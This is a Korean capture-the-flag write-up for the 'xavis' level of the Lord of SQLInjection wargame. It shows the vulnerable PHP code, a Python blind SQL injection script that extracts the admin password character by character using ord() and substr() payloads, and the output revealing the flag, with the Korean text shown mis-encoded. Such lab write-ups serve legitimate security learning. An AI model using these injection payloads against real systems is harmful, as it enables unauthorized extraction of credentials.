wargame ๐Ÿด‍โ˜ ๏ธ write-up/Lord of SQLInjection

xavis

Kortsec1 2023. 8. 3. 23:17

1. Code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>

 


2. Condition

  • regex like ๋“ฑ์„ ํ•„ํ„ฐ๋ง ํ•œ๋‹ค.
  • ์ •ํ™•ํ•œ admin pw ๊ฐ’์„ ์•Œ์•„์•ผ ๋ฌธ์ œ๊ฐ€ ํ•ด๊ฒฐ๋œ๋‹ค.

 


3. Solution

๊ฒ‰๋ณด๊ธฐ์—” ๊ต‰์žฅํžˆ ๊ฐ„๋‹จํ•œ blind-sqlinjection ๋ฌธ์ œ์ด๋‹ค.

 

ํ•˜์ง€๋งŒ, ํ•ด๊ฒฐํ•˜๋Š”๋ฐ ๊ต‰์žฅํžˆ ์‹œ๊ฐ„์ด ๋งŽ์ด ๊ฑธ๋ฆฐ ๋ฌธ์ œ์˜€๋‹ค.

๊ฒฐ๋ก ๋ถ€ํ„ฐ ๋งํ•˜์ž๋ฉด ์ตœ์ข… pw๋Š” ์œ ๋‹ˆ์ฝ”๋“œ์ด๋‹ค.

 

ascii ํ•จ์ˆ˜๊ฐ€ ๋จนํžˆ์งˆ ์•Š๊ณ , ํ‘œ์ค€ ascii ์ฝ”๋“œ(ascii printable characters)์† ์ผ์น˜ํ•˜๋Š” ๋ฌธ์ž๋ฅผ ์ฐพ์„ ์ˆ˜๋„ ์—†์—ˆ๋‹ค.

 

 

๋•Œ๋ฌธ์— ํ•œ๊ธ€๋กœ ๋œ pw์ด์ง€ ์•Š์„๊นŒ ํ•˜๋Š” ๊ฐ€์ • ํ•˜๋‚˜๋กœ ๋ฌธ์ œํ’€์ด๋ฅผ ์ด์–ด๊ฐ”๋‹ค.

๊ทธ๋ฆฌํ•˜์—ฌ BMP(Basic Multilingual Plane)๋ถ€๋ถ„์„ ํƒ์ƒ‰ํ•ด ๋ณด์•˜๋‹ค.

 

๋ณธ๊ฒฉ์ ์œผ๋กœ ๋“ค์–ด๊ฐ€๊ธฐ ์ „์—, ascii ํ•จ์ˆ˜๋กœ๋Š” ์œ ๋‹ˆ์ฝ”๋“œ๋ฅผ ๋ณ€ํ™˜ํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ, ord ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์˜€์Œ์„ ์•Œ์•„์•ผ ํ•œ๋‹ค.

 

 

๋„“์€ ๋ฒ”์œ„๋ฅผ ํ•˜๋‚˜ํ•˜๋‚˜ ํ™•์ธํ•˜๊ธฐ์—” ์‹œ๊ฐ„์ด ์—†์œผ๋ฏ€๋กœ ํฌ๊ฒŒ 0x100์”ฉ ๋‚˜๋ˆ„์–ด ๋Œ€์†Œ๋น„๊ต๋ฅผ ํ†ตํ•ด ๋ฒ”์œ„๋ฅผ ์ค„์—ฌ๊ฐ”๋‹ค.

for i in range(20):
    for j in range(0x00, 0x10000, 0x100):
        url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?\
                pw=1234' or id='admin' and ord(substr(pw,%d,1))<%d %%23" % (i+1, j)
        res = requests.get(url, cookies=cookie)

        if "Hello admin" in res.text:
            range_st = j - 0x100
            range_fin = j
            print("pw(%d) in %s ~ %s" % (i+1, hex(range_st), hex(range_fin)))
            break

 

 

๋ฒ”์œ„๊ฐ€ ์ถ”๋ ค์กŒ๋‹ค ๊ฐ€์ •ํ•˜๊ณ  pw๊ฐ’์„ ์ฐพ์•„๋‚ด๋Š” ์ฝ”๋“œ๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ํ•œ๊ธ€์ž ํ•œ๊ธ€์ž ์ฐพ์•„์ฃผ์—ˆ๋‹ค.

์ตœ์ข… ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

import requests

cookie = {'PHPSESSID' : '~~~~'}

fin_flag = False
pw_value = ""
for i in range(20):
    for j in range(0x00, 0x10000, 0x100):
        url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?\
                pw=1234' or id='admin' and ord(substr(pw,%d,1))<%d %%23" % (i+1, j)
        res = requests.get(url, cookies=cookie)

        if "Hello admin" in res.text:
            range_st = j - 0x100
            range_fin = j
            print("pw(%d) in %s ~ %s" % (i+1, hex(range_st), hex(range_fin)))
            break
    
    for j in range(range_st, range_fin+1):
        url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?\
                pw=1234' or id='admin' and ord(substr(pw,%d,1))=%d %%23" % (i+1, j)
        res = requests.get(url, cookies=cookie)

        if "Hello admin" in res.text:
            if (j==0):
                print("done!")
                fin_flag = True
                break
                
            pw_value += chr(j)
            print("pw(%d) : %s" % (i+1, pw_value))
            break
    
    if(fin_flag):
        break
            
print("pw :", pw_value)

 

์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด ์•Œ๊ฒ ์ง€๋งŒ, ๊ธธ์ด๋ฅผ ๋”ฐ๋กœ ๊ตฌํ•˜์ง€ ์•Š๊ณ , ํ•ด๋‹น BMP๋ฒ”์œ„์— ์—†์œผ๋ฉด ์ข…๋ฃŒ์‹œํ‚ค๊ฒŒ ๋งŒ๋“ค์—ˆ๋‹ค.

_๊ฐ€ ํ•„ํ„ฐ๋ง๋˜์–ด, char_length์™€ ๊ฐ™์€ ํ•จ์ˆ˜๋ฅผ ์“ธ ์ˆ˜๋„ ์—†์„ ๋ฟ๋”๋Ÿฌ

                               char_length : ๊ธ€์ž์˜ ์ˆ˜๋ฅผ ๊ตฌํ•ด์ค€๋‹ค.

ํ™˜๊ฒฝ์— ๋”ฐ๋ผ ํ•œ๊ธ€์ด 3bytes์ผ์ˆ˜๋„ 4byte์ผ์ˆ˜๋„ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด์—ˆ๋‹ค.

 

์ •ํ™•ํ•˜์ง„ ์•Š์€ ๋ฐฉ๋ฒ•์ด๋‚˜ ๋‹น์‹œ ์—ฌ๋Ÿฌ ๋ฐฉ๋ฒ•์„ ์‹œ๋„ํ•˜๋Š” ๋‚ด ์ž…์žฅ์—์„  ์ด๊ฒŒ ์ตœ์„ ์ด์—ˆ๋‹ค.

๋‹คํ–‰ํžˆ๋„ ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹ค์ƒ์‹œ์ผฐ์„ ๋•Œ ์˜ˆ์ƒํ•œ๊ฐ’์ด ๋‚˜์™€์ฃผ์—ˆ๋‹ค.

pw(1) in 0xc600 ~ 0xc700
pw(1) : ์šฐ
pw(2) in 0xc600 ~ 0xc700
pw(2) : ์šฐ์™•
pw(3) in 0xad00 ~ 0xae00
pw(3) : ์šฐ์™•๊ตณ
pw(4) in 0x0 ~ 0x100
done!
pw : ์šฐ์™•๊ตณ

 

์œ ๋‹ˆ์ฝ”๋“œ์ž„์„ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ๋Š” ๋„“์€ ์‹œ์•ผ๋งŒ ์žˆ๋‹ค๋ฉด ์ถฉ๋ถ„ํžˆ ๋„์ „ํ•ด๋ณผ๋งŒํ•œ ๋ฌธ์ œ์˜€๋‹ค.

๊ฒฐ๊ณผ์ ์œผ๋กœ ๊ตฌํ•œ pw๊ฐ’์„ ์ž…๋ ฅํ•˜๋ฉด ๋ฌธ์ œ๊ฐ€ ํ•ด๊ฒฐ๋œ๋‹ค.

 

img_1 xavis clear

'wargame ๐Ÿดโ€โ˜ ๏ธ write-up > Lord of SQLInjection' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

dragon  (0) 2023.08.03
nightmare  (0) 2023.08.03
zombie_assasin  (0) 2023.08.03
succubus  (0) 2023.08.01